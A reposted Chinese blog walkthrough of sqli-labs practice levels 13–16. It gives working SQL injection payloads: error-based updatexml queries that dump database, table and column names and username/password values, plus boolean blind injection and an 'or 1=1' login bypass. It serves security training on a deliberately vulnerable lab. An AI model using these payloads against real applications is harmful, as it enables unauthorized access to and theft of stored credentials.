自学内容网 自学内容网

sqli-labs靶场13-16关(每日4关)持续更新!!!

Less-13

首先上来判断闭合方式是什么,我们输入1' ,看看页面回显情况

1后面有个括号,那我们输入 1') #  看一下页面回显

发现页面不报错了,但是没有回显内容,我们联想一下前几道题,页面回显不改变,会用到报错注入和盲注两种方式 ,要是盲注的话,布尔盲注和时间盲注这俩的页面回显会有变动,所以我们这道题选择报错注入,报错注入的方式还是用updatexml。

//updatexml格式   

updatexml(xml_doument,Xpath_String,new_value);

我们使用:updatexml(1,concat(0x7e,(...),0x7e),1); 

1.获取数据库

') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

2.获取表

')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

 

3.获取列

') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) #

我们会发现出来这条语句,怎么没有username和password呀,我们忽略了一点,updatexml报错有报错字符大小限制,不能完全显示出来,所以我们就不用group了,我们用limit,一个个试一试

//usename

') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 4,1),0x7e),1) #

 

//password

') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 5,1),0x7e),1) #

 

4.获取字段

也是用limit,让他们一个个输出

') and updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),1) #

成功!!!

Less-14

发现和上一关一样,说明还是报错注入

那我们就判断闭合方式即可,其余步骤和上一关做法一样

说明闭合方式是双引号

直接显示最后一步,输出字段,也是用limit一次一次输出

"and updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),1) #

 

Less-15

判断注入点,闭合方式,输入万能密码 'or 1=1 #   发现页面只显示登陆成功,其余又不显示,看题干,那就是盲注中的布尔盲注了。

1.获取数据库长度(需要自己去尝试),登陆成功说明正确

' or length(database()) = 8 #

 

1.获取数据库,因为我们并不知道用户名是什么,所以用or

//secutity

' or ascii(substr((select database()),1,1)) = 115 #

...

2.表名

//长度

' or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 # 

//emails

' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 #

...

3.列名

//长度

' or (select length(column_name) from information_schema.columns where table_name='emails' limit 0,1) = 2 #

' or (select length(column_name) from information_schema.columns where table_name='emails' limit 1,1) = 8 #

//id

' or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 #

...

//email_id

' or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) = 101 #

...

4.字段

//长度

'or (select length(email_id) from emails limit 0,1) = 16 #

//Dumb@dhakkan.com

# 第一个字段第一个字母是 D

' or ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 #

 Less-16

和第15关一样,就是闭合方式有区别

本关的闭合方式是   ")

先用万能密码登录,测试闭合方式

") or 1=1 # 

登陆成功!

其余步骤和第15关一样 


原文地址:https://blog.csdn.net/longnice666/article/details/143805018

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!